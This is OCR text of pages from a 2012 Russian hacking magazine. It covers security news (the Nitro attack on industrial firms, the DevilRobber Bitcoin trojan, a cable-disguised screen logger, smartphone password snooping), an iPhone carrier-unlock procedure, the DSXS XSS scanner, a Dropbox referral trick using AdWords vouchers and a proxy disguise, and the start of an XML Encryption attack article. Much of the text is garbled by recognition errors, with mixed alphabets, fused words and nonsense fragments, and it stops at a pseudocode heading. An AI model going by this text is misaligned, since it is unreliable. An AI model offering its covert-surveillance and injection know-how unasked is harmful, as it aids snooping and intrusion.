позволяет внедрять технологии, предотвра­

щающие эксплуатацию уязвимостей, в про­

извольные приложения. Хорошая работа!

ХАКЕР 01/156/2012

на страхи.

laiLLUMINATI: Здесь нет будущего для людей,

которые живут в защитном

режиме. Они тратят свою жизнь

ГciWeldPond:

Следуя инновации от Google, группа вендорав призывает

OllyDbg и IDA Рго поддержать опцию _noRE.exe в соглашении об именова­

нии файлов.

1!!!1 Комментарий:

lilil Ах-ха. :1 Этот твит появился сразу после того, как Google великодушно пред­ложил не регистрировать точки доступа

Wi-Fi, в конце имени которых имеется слово «_nomap». :1

ГclinsitOr:

Каждый год Oday для BIND.

Комментарий:

Таинственным образом по всей

планете стали падать DNS-cepвepa BIND, что вызвало слух о DoS Oday.

Поисковик Shodan может ска­зать тебе, где найти в интернете

системы Siemens Simatic. t.J;o 1l1Q0b3cq.

1!!!1 Комментарий:

lilil У нас модный журнал. SCADA- зто модно. И найти SСАОА-интерфейсы в интер­

нете -зто тем более модно.

Гclmikko:

Лучший параль-это «не

верен », теперь у тебя есть напо­

миналка в случае неверного

ввода: <<Введенный параль не верен ».

#woгstpasswoгd

laRuCTFE: Поздравляем окончатель­

ного победителя #RuCTFE - OldEuгOpe из RWTH, Ачен,

Германия.

t.co/IUII94Ko.

1!!!1 Комментарий:

lilil Крупнейший CTF закончился побе­дой немцев.

ГciStephenwest:

How to do а pentest: 1. Dгaw line with реп. 2. Check line. 3. lf visiЫe, реп woгks .

4. lf по line, реп does not woгk .

1!!!1 Комментарий: lilil ИБ-шники шутят. Как проводится pentest? 1. Ручкой [реп) рисуем линию. 2. Проверяем линию. 3. Если она видна, значит, ручка работает. 4. Если линии нет, значит, ручка не работает.

Гcljduck1337:

Пища для философских раз­

мышлений: bash: ./:-это директория.

ГcljOOru:

Обновленная таблица системных

вызовов в Windows [NT/2000/ XP/2003Nista/2008/7/81. Больше

деталей: .. _o/oBмiJ;17 .Q .

1!!!1 Комментарий:

lilil Чтобы читатели не жаловались на бесполезность этой рубрики, вот вам полез­

ный л инк. Ну как? :1

011

Page 14: haker

MEGANEWS ЛИШЬ ТРЕТЬДОМЕННЫХИМЕН (ИЗ 926 ТЫСЯЧ),зарегистрированных в зоне рф, активно .

используется владельцами.

ХИМИКИ И «ОБОРОНКА» В ОПАСНОСТИ! ОБНАРУЖЕНА ЕЩЕ ОДНА АТАКА, НАПРАВЛЕННАЯ

НА ПРОМЫШЛЕННЫЕ ПРЕДПРИЯТИЯ

ГIO'f•2~htountry ol~oi!W•pail~ tioмUIIpi8CIIIftllиeM•

PCЬ.WNieO.US,...IJК

.,_ГICW•IIIcll'rlllf•. ~llwpop~

ЧWUII~4if ... tflt.tllilo -!I\IC11WiМКW с.-,.uмn •• ,.м..,. loulwdМCIМidlotor&D­

fiOclns' l'lt ......... IOif

,_,.,otortcrn-

-· ~ lociJtionofinfected computers

Командные сервера Nitгo, которые

удалось отследить, в

большинствесвоем

были виртуальными и располагались на

территории США. В

основном их арен·

довали граждане

Китая .

осле Stuxnet, наверное, с л ож но кого-то удивить вирусами и атаками,

наnравл е нными не на рядовых юзе ров, а на nромышленный сектор .

Лишнее подтверждение тому, что подобны х атак становится больше,

об наружили спе циа ли сты компании Symantec. Атака, условно названная Nitгo, началась еще в конце а пр еля текущего года и была ориентирова на на

nравозащитные орга ни за ци и, но потом ее создатели выбрали своей целью

промышленные предприятия . Атаке подверглись 29 компаний в 19 отраслях, в том числе в химической и оборонной [утверждается, что таких компаний может быть намного больше]. Доnодлинно известно, что за эти несколько месяцев в результатезаражения был и похищены данные более чем со ста промышлен­

ны х комnьютеров. Хакеры действовали вполне традиционно- направляли

сотрудникам компаний электронные письма, замаскированные под корпора­

тивную рассылку. Большинство таких мейлов содержали архивы с китайским троянеким софтом [в основном троянцы Poisonlvy]. После заражения наме­ченного компьютератроя н связывался с командным сервером и инфицировал

другие корпоративные машины, находящиеся в том же доме не. Эксперты

Symantec отмечают, что атакующие часто использовали инди видуальны е

методики и сце нарии атак . География Nitгo достаточно широка: большинство

заражений пришлось на США, Бангладеш и Великобританию.

РЕСУРСВКОНТАКТЕВВЕЛ

ТЕСУНАЗНАНИЕ ОСНОВ

КОМПЬЮТЕРНОЙ &ЕЗОПАС· НОСТИ. Еслитвойаккаунт

взломали, придется отве­

тить на несколько простых

вопросов.

012

АНТОН НОСИК ВЕРНУЛСЯ РА·

&ОТАТЬ BSUP нa должность

медиадиректоракомпании.

Уже известно, что из ЖЖ

исчезнет почти вся реклама

и появится <<карма».

ДОЛЯ МОБИЛЬНОГО &РАУЗЕ·

РАGООGLЕ, предустанавли­

ваемого на устройства с ОС

Andгoid , на рынке возросла

до 18,7%, что позволило ему обогнать no nоnулярности О ре га Mini, доля которого составляет всего 1 3,1%.

шпионить можно ПО-РАЗНОМУ ОЧЕНЬ НЕЗАМЕТНЫЙ И ХИТРЫЙ ВИДЕОЛОГГЕР

акихтолько средств не изобрели люди, чтобы

шпионить за ближними! Некоторым гаджетам

позавидовал бы даже Джеймс Б анд. Штука, о ко­

торой я хочу сегодня тебе рассказать, как раз из их числа.

Как проследить, чем занимается человек за комnьюте­

ром? Конечно, можно установить кейлоггер или иное ПО

для слежки , но его довольно легко обнаружить. Можно ис­

nользовать и аппаратный кейлоггер, но поройдаже этого

может оказаться недостаточно. Занятная альтернатива

этим старым добрым способам- видеологгер VideoGhost, маскирующийся подобыч ны й кабель . Вместотого чтобы

запоминать н абранный текст, устройство сохраняет

скриншоты всего , что отображается на экране [объем

встроенной флэш-памяти- 2 Г б] . VideoGhost отличается от обычного кабеля тем, что с одного конца у него имеется

USВ-коннектор. Пр и подключении к USВ-разъему ком­

nьютера кабель определяется как флеш -н акопитель, с ко­

торого можно слить данные . Для считывания сохране нны х

данных п онадобится переанальный USВ-ключ, который

поставляется в комплекте cVideoGhost . Выпускаются версии кабеля с разъемами VGA, DVI и Н DMI, каждая из них обойдется примерно в $200.

«ВЕРНЫЕ ДРУЗЫ» ПОЯВИ·

ЛИСЬ В FACEBOOK. В случае проблем Tгusted Fгiends по­

могутвосстановитьаккаунт

и nодтвердитьличность

пользователя .

ВЛАДЕЛЬЦЫ КРУПНЕЙШИХ ПОРНОСАЙТОВ ВЫСТУПИЛИ ПРОТИВ ЗОНЫ ХХХ. Он и

обвиняют ICANN в анти­канкурентных действиях и

искусственном завышении

цен на домены .

ХАКЕР 01 /156/2012

Page 15: haker

MAIL.RU GRОUРСОЗДАЕТСОБСТВЕННЫЙ СЕРВИС МИКРОБЛОГОВ, который должен стать конкурентом Twitter. Увы, подробности неизвестны.

КОМПЬЮТЕР НАФЛЕШКЕ УЛЬТРАМАЛЕНЬКИЙ РС HAANDROID'E

В FXI отметили, что их детище The Cotton Candy будетстоить менее $200, а его nродажи начнутся

во второй половине 2012 года. Кроме того, рассматрива­

ется вариантустрой­

ства cWindows 8 на борту.

орвежцы из компании FXI представили рабочий прототип сверх­миниатюрного ПК. Разработка получила название The Cotton Candy [в переводе с английского- <<сахарная вата >> , ведь новин ка весит

всего 21 грамм, то есть столько же, сколько и упако вка этой сладости! . Внешне

устройство похоже на обычную U5В-флешку, но подобное впечатлен ие обман­

чиво. Эта кроха оснащена АRМ-процессором 5amsung Exynos на 1,2 Г Гц [таким же , как в смартфоне 5amsung Gala xy 5111. четырехъядерным графическим чи­пом Mal i-400 МР, слотом для карт памяти micro5D [объе мом до 64 ГБI , модулями Wi-Fi и Bluetooth, разъемами HDMI2 .1 и U5B 2.0. Е е мощностей хватит, чтобы

восnроизводить фильмы с разрешением 1 ОВОр. РаботаетТhе Cotton Candy под управлением ОС Android 2.3. С помощью этого девай са можно превратить любой телевизор, ноутбук, телефон, планшет или телеприставку в терминал

для операционной системы Android. Устройство может играть роль аппаратно­го эмулятора гугловской ОС. Подключать девай с можно не только к телевизору

по HDMI, но и к компьютеручерез U5B [в этом случае он будетрасnознаваться как накопитель!. Bluetooth служит для подключ ения клавиатуры и мыши, в качестве инструмента управления можно также использовать и планшет.

Пока устройство не имеет доступа к Android Market, но его обещают добавить к моменту релиза .

НЕ ХОЧЕШЬ, ЧТОБЫ GOOGLE ВИДЕЛТВОЙ РОУТЕР?

ПРОСТО ДОПИШИ В КОН­ЦЕ SSID СВОЕГО ДЕВАЙ СА <<_NOMAP>>, И ТЫ БОЛЬШЕ НЕ ПОПАДЕШЬ В БАЗУ ГЕО­ЛОКАЦИОННЫХ СЕРВИСОВ GOOGLE

ХАКЕР 01 /156/2012

НЕЛЕГКИЕ БУДНИ BITCOIN НОВЫЙ ВИРУС ЗАСТАВЛЯЕТ МАКИ ГЕНЕРИРОВАТЬ КРИПТОВАЛ ЮТУ, А ЭКСПЕРТЫ НАХОДЯТУЯЗВИМОСТИ В

СИСТЕМЕ BITCOIN

момента nоявления пиринговая валюта BitCoin стала nредметом обсуждений и вызвала скепсис.

Несколько атак, которые имели место прошлым

летом, только п одлили масла в огонь . Напомним, чтотогда

был взломан круnнейший обменник Mt Gox, а позже и фо­румы BitCoin, что незамедлительно сказалось как на курсе валюты , так и на ее репутации . Тем не менее, BitCoin все равно популярн а, ее можно обменять на реальные деньги,

а значит, она nредставляют интересдля всевозможных

мошенников.

Эксперты компании lntego, которая с пециализируется на технологиях безопасности, недавно обнаружили новый

вирус Devii Robber, ориентированный на валюту BitCoin . Он использует целый комплекс вредоносных механизмов.

Это одновременнотроян, находящийся внутри других

приложений, бзкдор, открывающий порты для приема

команд судал енных серверов, вор, крадущий данные и

монеты Bi tCoin, и шпионская программа, переправляющая персональныеданныепользователейсвоимсоздателям.

DeviiRobber о риентирован на Мае 05 Х, он задействует вычислительны е ресурсы графических карт для nроизвод­

ства виртуальны х монет. Подцепить этот зловред можно на

The Pirate В ау и други х трекерах. К примеру, он был внедрен

в графически й редактор Graphic Converter для Мае 05 Х. Исnользуя видеокарту и ЦП для осуществления матема­

тических опера ций, троя н генерирует и крадет цифровую

валюту. Кроме того, Devii Robber ищет на зараженном компьютере В itСоin -кошельки , чтобы украстьденьги и от­

туда . Зловред существенно снижает производительность

Мае . Devii Robberтaкжe ворует па роли, историю посещения

страниц из браузера 5afari и данные Vidalia- плагина Firefox, который используется для общения через TOR. К счастью, пока D evii Robberoбнapyжeн на весьма неболь­

шом количестве компьютеров, однако это не означает, что

в дальнейшем он не распространится шире . Междутем

о работе и жизнеспособности BitCoin высказываются и ученые. Недавно ученые Сигал Oper и Шахар Добзински из Корнеллскогоуниверситета и исследователи Маш Бабай­

офф и А вив Захар из Microsoft nредставили доклад, посвя­ще нный пирингавой валюте. Они зая вили, что обнаружили

фундаментальную уяз вимость в электронной валюте и эта

дырка в итоге вообще сможет остановить развитие BitCoin. Проблема состоит в следую щем: когда Юзер1 nлатит

Юзеру2, до пустим, 50 монет, этот Юзер1 вводит платеж­ныйпарольипередаетданныепосделкенадругиеточки .

Дру ги е участники получают скромную плату за проверку

платежа, которая nроизводится при помощи хеша, сгене­

рированноготранзакционной записью. С наращиванием

денежной массы схема, позволяющая создаватьденьги из

ничего, исчерnа етсеб я, и проверкойтранзакций займутся

одиночных узлы Bi tCoi n. Здесь-то и кроется уязвимость. Если поо щрятьпользователейтолькозапроверкуnред­

л оженны х транзакций, они не захотят передавать эти тран­

закции другим . Вм есто это го они будут держать в секрете

проведенные сделки, чтобы не делиться ни с кем деньгами.

А если каждая транзакция будет происходить на одной

точке, процесс авторизации зай меточень много времени .

Нильс Шнайдер, разработчик проекта BitCoin, пишет: « В докладерассматриваетсяочень интереснаятеоретиче­

ская nроблема , но я со мневаюсь, что в проект придется

вносить какие-либо изменения>>.

013

Page 16: haker

MEGANEWS ВЫШЛАФИНАЛЬНАЯ ВЕРСИЯ ЯДРА LINUX3.1, последствия недавнего взлома kегпеl .огg полностью устранены .

ИЗВЕСТИЯ ИЗ CTAHAADOBE КОМПАНИЯ ОТКАЗЫВАЕТСЯ ОТ FLEX И FLASH НА МОБИЛЬНЫХ ПЛАТФОРМАХ

В результате отказа

дdоЬе от Flash nод сокращение попа ·

дут 750 штатных со­трудников (то есть 7 % штата комnании! в СевернойАмерике и Евроnе .

dobe nринял а р е ш ен и е nр екратить n оддерж к у мобильной

версии Fla sh Рlа уе г. В будущем технологию Fla sh для мо­бильных устройств nл анируется ис n ол ьзо вать в основном в

инструментах, n озволяющих с n омощью Adobe Al R создавать нативные n рил ожениядлямобильныхnлатформ.Комnаниянамеренаnродол­

жать nоддержкутекущих конфигураций Android и PlayBook, выnуская критическиеnатчии обно вл ения безопасности. Вместо Flash Player комnания сконцентрируется на разработке nлатформы для мобильных

nриложений а также увеличит инвестиции в HTML5. О nричина х такого

решения в благе nоведал Майк Чамберс, уnравляющий по связям с раз­

работчиками nлатформы Flash. В частности, о н отметил, что комnания Apple, являющаяся одним из лидеров рынка, nо-nрежнему не собирает­ся внедрять n оддержку Flash Pl ayer в браузеры для iOS. «Что бы мы ни делали , Flash Playe r врядли nоявился в Apple iOS в обоз рим ом буду­щем»,- nишет о н . Так что отказ Adobe от Fl ash в мобильных тел ефонах и nланшетах - это внекотором роде и т о г «хол одной войны>> с Apple. Также стал о известно, что комnания решила отказаться и от развития

Flex SDK. П осле очеред н о го релиза Flex 4.6 SDK, выход которого назна­чен на 29 ноября, nроект будет nередан в о реп source.

СОФТ, ПОДСМАТРИВАЮЩИЙ ЧУЖИЕ ПАРОЛИ НАВЕДИ КАМЕРУ СВОЕГО С МАРТФОНА НА ЧЕЛОВЕКА,

НАБИРАЮЩЕГО ПАРОЛЬ, И ПОЛУЧИПАРОЛЫ

от до чего, как говорится, «дошел nр огресс». Команда

исследователей из университета Северной Каролины раз­

работала, в общем, не сложный, но nоражающий вообра­

жение софт. П рограмма iSpy оnравдывает свое имя на все 100%. Как ты знаешь, во время набора текстовых сообщений, nисем или ввода

регистрационных данных на виртуальной клавиатуре устройств

iPhone илидndгоid вводимые символы nоявляются на экране в небольших блоках [magnified keysl. Программа iSpy с n особна не только оnределить, какой текст ввел nользователь, н о да же из­

влечь оnредел е ннуюинформацию с экрана с nомощью отражения

в окне или в чьих-то очках! Дл я осуществления этогонеобычного

ха ка нужно с тоять не дальше трех метров от жертвы , чтобы можно

было снять на камеру процесс ввода данных . Е сли же для съемки

исnользуется однообъективная зеркальная камера, расстояние

можно увеличить и до 60 метров. В идеале nравильно расnознается более 90% символов. Чем дальше стоит шnион , тем меньше этот

nро цент. Также nроцент уменьшается, если снимать отражение,

nотому что nри этом размер изображения экрана уменьшается.

Однако nри наличии DSLR-кaмepы можно nолучить неnлохие

результаты и с расстояния в 12 метров. Создатели iSpy рекоменду­ют отключать функ ци ю magnifi ed key и исnользовать что-то вроде защитного козырька для экрана.

АМЕРИКАНСКИЕ ВОЕННЫЕ В УДАРЕ. Агентство

передовых оборонных исследований DARPA объявило конкурсShгеddег Challenge на лучшую и наиболее эффективную методику восстановления

разорванных или пропущенных через шредер

документов. К участию приглашаются компьютер­

щики, любители головоломок и сложных задач.

Победитель получит 50 тысяч долларов.

AMAZON ОБРАТИЛ СВОЕ ВНИМАНИЕ НА СМАРТФОНЫ.

Согласно азиатским источни­

кам, в конце2012 года ком­

пания представит на рынке

собственный телефон.

ЗА ПОЛГОДАGООGLЕ ПО­

ЛУЧИЛ ОТ РОССИИ ОКОЛО

ДЕСЯТИЗАПРОСОВ на

удалениепримернодесяти

единиц контента и 42 запро­санараскрытиеданных47

аккаунтов .

011. ХАКЕР 01/156/2012

Page 17: haker

СЕРГЕЙ БРИН и его супруга пожертвовали 500 тысяч долларов в фонд Wikimedia.

КАК РАЗБЛОКИРОВАТЬ IPHONE БЕЗ ДЖЕЙЛБРЕЙКА НАЙДЕН ИНТЕРЕСНЫЙ СПОСОБ РАЗЛОЧКИ ~~ЯББЛОЧНЫХ>> АППАРАТОВ

. ",-·-"· В iPhone Dev-Team киnит работа над обыкновенным джейлбрейком для

iPhone4S. Недавно втвиттере команды

появилось сообщение,

что предварительная

версия джейлбрейка уже готова. В доказательство

хакеры показали

nарускриншотов, но

заметили, что до релиза

еще далеко.

а к только iPhone 45 поступил в продажу, хакеры со всего мира тут же принялись колдовать над созданием джейлбрейка для

нового него. Один из членов Chгonic DevTeam Майкл Капоц-ци нашел способ отвязать iPhone от сотового оператора без помощи традиционного джейлбрейка. На данный момент, зто, пожалуй, самый

простой способ заставить iPhone, предназначенный исключительно для работы в домашней сети АТ& Т, работать в сетях других операторов.

Самое интересное, что, как выяснилось в результате тестирования,

зтот метод, созданный для iPhoпe 45, подходиттакже и для iPhoпe двух предыдущих поколений: iPhone 4 и iPhone 3G5, то есть для всех актуаль­ныхны не моделей. Единственный минус метода Капоцци состоит в том,

что анлокдействуеттолько до первой перезагрузки аппарата, после

которой телефон нужно «отвязывать>> заново. Итак, рассмотрим, что

нужно делать. Способ взлома прост: тебе понадобится лишь 51 М-карта оператора АТ& Т, обрезанная под соответствующий размер, и сим ка

оператора, в сети которого аппарат планируется использовать в даль­

нейшем. При разпочке аппарат должен находиться в сети АТ&Т либо его

роумингового партнера !в России это «Билайн>>, «Мегафон>>, СМАРТС и

региональные операторы, входящие в состав «Ростелеком»l. Весь процесс пошагово показан в видеоролике, найти который мож-

но по адресу youtu.be/gofpeiTXI5U. Шаманство от Капоцци выглядиттак: набираем номер службы поддержки абонентов АТ& Т 1611) и сбрасывем вызов;

включаем режим работы <<В самолете>>;

вынимаем 51 М-карту АТ& Т и вставляем ее аналог от T-Mobile; проверяем, что Wi-Fi отключен !в настройках сети можно выбрать пункт <<Забыть эту сеть>>, чтобы небыло

автоматического подключения);

выключаем режим работы <<В самолете>>,

после чего iPhoпe ищет сеть;

на экране появляется оповещение <<Требуется активация>>;

после этого автоматически активируется EDGE и в левом верхнем углу экрана появляется буква Е;

• ждем примерно 20-30 секунд и выключаем смартфон; снова включаем iPhoпe, после чего на экране вновь появляется

оповещение <<Требуется активация>>;

НЕМНОГО СТАТИСТИКИ ОТ КОМПАНИИ MCAFEE:

space

когда появляется одна полоска уровня сигнала, выбираем

пункт << Использовать подключение к сотовой сети>>;

вы ни маем 51 М-карту, после чего снова появляется

оповещение <<Требуется активация>>;

вставляем 51 М-карту оператора T-MoЬile обратно и пользуемся разлоченным смартфоном .

Российские пользователи сообщают противоречивые сведения об

эффективности этого метода. По утверждению самого Капоцци, наилуч­

шего результата его метод позволяет достичь при <<перепрограммиро­

вании>> iPhoпe под сеть T-MoЬile, так что эффективность метода в России

действительнопод вопросом .

КОЛИЧЕСТВО НОВЫХ ОБРАЗЦОВ ВРЕДОНОСНЫХ ПРОГРАММ ПРЕ­ВЫСИТ 75 МИЛЛИОНОВ К КОНЦУ ТЕКУЩЕГО ГОДА

ХАКЕР 01 / 156/2012 015

Page 18: haker

.HEADER

Proof-of-Concept СКАНЕР ХSS-УЯЗВИМОСТЕЙ НА 100 СТРОЧЕК КОДА

Внимательный читатель вспомнит, что с полгода назад у нас уже был похожий РоС. Тогда Мирослав

Штампар решил доказать, что функционал для поиска SQL-инъекций, которым располагает

большинство коммерческих сканеров безопасности, можно воссоздать в небольшом скрипте,

уложившись в сто строчек кода. Автор знает, о чем говорит,- он сам является автором sql-map, которая по праву считается одним из лучших инструментов для поиска и эксплуатации SQLi и распространяется бесплатно . Основная идея сегодняшнего РоС состоит в том, что и для поиска

ХSS-уязвимостей не надо городить огород . Сто строчек кода- и сканер готов. Так появился

Damn Small XSS Scanneг [DSXS).

ПРОСТО О ПОИСКЕ XSS Начнём с азбуки. Cгoss-site scгipting [XSS]­это тиn атак, nри которых в вывод веб­

nриложения инжектируется некоторый JS-код.

Браузер клиента nолучает этот код и без

тени сомнения его выполняет. Чаще всего

ХSS-атака исnользуется для кражи аутенти­

фикационных кукисов . Уязвимость возникает

из-за отсутствия фильтрации, когда данные,

введенные nользователям, исnользуются для

формирования НТТР-ответа. Самый банальный

nример-форма для nоиска. Если ответ серве­

ра содержит заnрос nользователя в «чистом»

виде, то приложение с большой вероятностью

будет уязвимо к ХSS-атакам.

nоиск XSS на специальной тестовой площадке для легальных тренировок zero.webappsecurity.com

016

Обнаружение ХSS-уязвимостей услов-

но можно разбить на два этаnа. Первы й

этаn- оnределение того, исnользовали ли

веб-nриложение для формирования ответа

введенные nользователем данные. На этом

этаnе атакующий пробует вручную ввести

nроизвольные значения в НТМL-форму или

nараметры GET/POST-зanpoca . В случае если введенные символы содержатся в ответе [то есть их можно на йти в исходнике страницы ] ,

атакующий может nереходить ко второму шагу.

Здесь уже надо изучить контекст, в котором

используются данные nользователя, и за­

висимости от этого выбрать nравильный

ХSS-nейлоад. Нагрузка должна быть такой,

чтобы веб-nриложение сформировало се­

мантически корректный ответ с внедренным

зловредным кодом. Очень важно, в каком

контексте исnользуются введенные пользова­

телем данные . Наnример, если бы внедренное

значение находилось в ответе сервера внутри

НТМL-тегов <scгipt> .. </scгipt> [что nредставить довольно сложно ] , то атакующий мог бы сразу наnисать зловредный JavaScгipt-кoд. Но если,

к nримеру, введенные nользователем данные

оказываются внутри НТМL-тега <а hгef= " ... ">, то необходимо с начала закрыть тег символами

«»>и только nотом nисать боевой JS-код, об­

рамленный в <scгipt> ... </scгipt>.

О DSXS Понятно, что автоматизировать nоиск ХSS­

уязвимостей несложно. Но что сделал Миро­

слав? Он наnисал утилиту на Python, которая

умеет проверять GET- и РОSТ-параметры на на­

личие ХSS-уязвимостей, и при зто м ул ожился

всего в сто строчек кода. Damn Small XSS Scanneг [DSXS] автоматически выполняет по­иск тех значений , которые включаются в вывод

веб-приложения, и анализирует их контекст.

Для каждого контекста есть свой набор

символов, которые не должны фильтровать­

ся и кодироваться, чтобы атакующий смог

проэксnлуатировать уязвимость. Наnрим ер,

в уже упомянутом случае, когда введенные

nользователем данные внедряются в тег

<а hгef= " ... ">, необходимо, чтобы символы« и> отражались в выводе веб-приложения

в исходном виде. DSXS автоматически вы­полняет выбор нагрузки для восьми разных

случаев, охваты вая тем самым большинство

всех возможных кейсов. Помим о контек-

ста, DSXS отображает информацию о том, фильтруются ли символы. Есл и некоторые

символы «не nроходят», сканер дает об

зтом знать. В этом случае атакующий может

« nовредить» контекст [разметка страницы необязательно должна быть валидной, чтобы

внедренный с криnт выnолнялся], несмотря на то что располагает ограниченным набором

символов . Удивительно, но в сто строчек кода

автор умудрился уместить и дополнительные

nараметры. Сканер, помимо всего прочего,

способен работать через nрокси и исnользо­

вать случайные значения Useг-Agent, Rеfегег

и Cookie в НТТР-заголовках . Код проекта от­

крыт и достуnен на GitHub [https:Ugithub.com/ stampaгm/DSXS ]. :Х:

ХАКЕР 01 / 156/ 201 2

Page 19: haker

HEADER

КОЛОНКАСТЁПЫИЛЬИНА

КАКБЕСПЛАТНОПОЛУЧИТЬ 10 ГБ В DROPBOX С ПОМОЩЬЮ ADWORDS

10ГБ ЛУЧШЕ 2 ГБ Можно долго ругать сервис DгорЬох за проблемы и фейлыс безопас­

ностью, но миллионы людей, включая почти всю команду Накера, использует этот сервис самым активным образом. В рамках обычного

аккаунта пользователю выделяется всего 2 Гб для хранения файлов, но объем можно легко увеличить до 50 Гб, если приобрести платный аккаунт . Стоит он не так уж и дешево- $99,00 в год. К счастью, создатели предлагают другой вариант, суть которого заключается в

ста ндартной реферальной схеме «Приведи друга- мы тебе дадим

еще 250 Мб бесплатно». Таким образом, аккаунт можно прокачать до 1 О Г б, которых уже вполне достаточно, если не хранить в облаке какие-то тяжелые проекты или фотографии. Важно, что засчитыва­

ется не столько регистрация, сколько установка клиента DгорЬох,

причем уникальность клиента проверяется по МАС-адресу. Есте­

ствен но, на шли сь умельцы, которые написали различные утилиты

для автоматической прокачки аккаунта [например, Ьit . ly/uпd69i ]. Но,

говорят, DгорЬох каким-то образом стал пресекать подобную актив­

ность по н акрутке- я, если честно, не сильно вдавался в подроб­

ности . Однако сейчас не могу не поделиться с тобой новым и, на мой

взгляд, очень изящным способом легально прокачать свой аккаунт

до 10 Гб, ничего не накручивая и действительно привпекая к DгорЬох настоящих клиентов. С помощью AdWoгds и совершенно бесплатно!

В ЧЕМ ИДЕЯ? Идея сама по себе очень простая, и предложил ее в своем благе

некий Владик Рихтер [ Ьit.ly/гxNKyB ]. Любому нормальному человеку объективно сложно привлечь столько пользователей сервиса, чтобы

за счет реферальной схемы увеличить объем своего DгорЬох-ящика .

Особенно сейчас, когда сервис уже сверхпопулярен. Что можно

сделать? Я знаю людей, которые не обламывались рассылать спам,

но зто не наш метод . Мой ответ- контекстная реклама. Да, можно

использовать самый обычный AdWoгds, продвигая в процессе

рекламной кампании свою реферальную ссылку. «Так за это же надо

платить?,,- резонно заметишь ты . Вроде как да, но на самом деле

необязательно! Если ты помнишь, то в нашем журнале были реклам­

ные купоны Google, предлагающие 1000 руб. для проведения первой рекламной кампании. Подобные купоны не редкость. А по ссылке Qit. l y/гAEsg1 ты попадешь на форму для получения бонусных $75 на счет AdWoгds, которых как раз хватит, чтобы оплатить клики на реклам­

ные объявления .: ] Надо лишь указать имя и фамилию, e-mail [лучше на каком-нибудь платном домене], адрес сайта [сойдет страница на каком-нибудь сервисе вроде about.me], а также номер телефона .

Через некоторое время ты получишь ваучер на свой e-mail. Для вер­ности можно прикинуться американцем [через прокси] .

КАК ПРОКАЧАТЬ АККАУНТ? Попробуем? Единственный инструмент, который нам понадобится,- это

Google AdWoгds [adwoгds.google.com ]. Поэтому смело заводи там аккаунт и переходи в меню «Оплата -7 Настройки платежных данных>> . Придется ввести здесь данные о пластиковой карте [не бойся, если не превысишь

бонусный лимит, то с тебя не спишется ни копейки], а также указать код

ХАКЕР 01/156/2012

полученного ваучера. После этого можно приступать к созданию новой

кампании [показу рекламных объявлений] :

1. Нажми на кнопку<<Создайте первую кампанию>>.

2. Придумай имя для кампании [например, «DгорЬох»]. 3. Настрой кампанию так, чтобы она показывалась во всех странах и на

все распространенных языках [английский, испанский, немецкий, французский, японский].

3. В разделе «Ставки и бюджет>> обозначьлимит на день: скажем, 600 рублей в день .

Все остальные поля можно оставить по умолчанию. Далее на­

жимаем «Сохранить и продолжить>> и попадаем на станицу, где

необходимо настроить вид наших рекламных объявлений. Проверены

следующие варианты ключевых слов: dгорЬох, fгее oпline stoгage,

online backup fгее, online backup, online backup data, dгорЬох space. Можно не фантазировать, главное- сделать так, чтобы объявление

было опрятным и не нарушало политику Google. В качестве целево­го URL указывай свою реферальную ссылку, которую можно взять на странице настроек DгорЬох в разделе Refeгall Status [например, httR:Udb.tt/UfxuFBm ]. По сути, все готово.

Судя по расценкам за клик, подобный хак использует довольно мно­

го людей, но нам это никак не помешает. Если бы речь шла о настоящих

деньгах, то для каждого ключевого слова стоило бы указать не большую

цену за клик. Но так как мы тратим бонусны е баксы, то можно выставить

автоматический режим формирования СРС [Cost-Peг-Ciick]. С этого мо­

мента остается только ждать и поглядывать на статистику перехода в, на­

слаждаясь увеличением объема своего аккаунта. Главное теперь- не

проморгать тот момент, когда бонусные средства будут израсходованы,

чтобы отключить показ рекламы. :] Что мы получаем в итоге? Во-первых , мы прокачали свой аккаунт в

DгорЬох. Во-вторых, мы принесли сервису новых реальных клиентов.

В-третьих, мы освоили AdWoгds, с которым, вполне возможно, и дела­

то никогда не имели [а зто и есть главная цель рекламных ваучеров Google]. Это уже тройной профит получается. :] :Х::

Updated Statu.s

3/ 26/ 2011 7:4 5 АМ Joined

3/26/ 2011 6:52 АМ .. Completed

3/ 26/ 2011 6:37 АМ , Joined

3/ 26/2011 6 :08 АМ Joined

3/ 26/2011 5:23 АМ Completed

3/26/ 2011 5:14 АМ Completed

3/ 26/2011 4:49 АМ Completed

3/ 26/2011 4:32 АМ Completed

Каждая регистрация -плюс 250 Мб к объему аккаунта на Dropbox

017

Page 20: haker

COVERSTORY

=злом

Весь мир еще не успел отойти от

BEAST и Padding Oracle Attack на .NET Framework, как пара исследователей обнаружила

уязвимость в механизме XML Encryption, применяемом для шифрования ХМL-контента.

На этот раз всему виной снова

стал многострадальный

режим шифрования СВС и

неправильная обработка ошибок

приложениями .

018

www.wЭ.org/TR/ хmlеnс-соrе/­сnецификация XML Encryption на официальном сайте wэс .

bit lу/оМuоЕу­ориrинальная статья

исследователей,

обнаруживших уязвимость в XML Encryption.

lplaintextl llirstfaplaintext .su, www.plaintext.sul

XML ENCRYPTION Технология XML Encryption, стандартизованная WЗС в 2002 году, в настоящее время широко исnользуется в различных XML Framewoгk "ax [этот стандарт nоддерживают .NET, Apache Axis2, JBOSS и т. д.[. Сегодня она активно применяется для защиты коммуникаций между веб-сервисами в продуктах многих ком­

nаний, в частности Microsoft и Red Hat. На техническом уровне спецификация XML Encгyptioп точно оnисывает синтаксис криn­тографических алгоритмов, разработанных для произвольных

ХМL-структурированных данных,- шифрования, дешифрования и

восстановления измененной части ХМL-документа- и порядок их

применения. Стандарт не определяет никаки х новых криnтографи­

ческих алгоритмов, а nредписывает использовать уже существую­

щие. В случае блочных шифров стандарт не оставляет нам другого

выбора , кроме AES и ЗDES в режиме СВС. Далее я буду все оnисы­вать на nримере шифра AES [хотя для понимания сути уязвимости зто не nринциnиально, главное- режим CBCI.

ХАКЕР 01/156/2012

Page 21: haker

ISJ*iiirФIId Известно, что блоч ны й шифр nреобразует бло к открыт о го текста

[обыч н о дл иной 16 байт, то есть 128 би т! в блок шифрованного

текста. Если данны е за н имают больше одн о го б л ока, при ходится

использовать алгоритмы, сам ы м популярным из которых на сегод­

ня является СВС.

Принциn его р~боты легко понять из п ервой иллюстрации . Для

первого блока открытого текста случайн о выбирается вектор

инициализа ции IIVI, а затем над этим вектором и первым бл оком открыто го текста выполняется операция XOR, результат которой

шифруе тся с помощью блочно го алго рит ма. В качестве вектора

инициализации для последующих блоков открытого текста ис­

пользуется предыдущи й бл ок шифрованного текста, то есть весь

процесс шифрования и дешифрования о п исывается следующим

псевдокодом:

//Шифрование

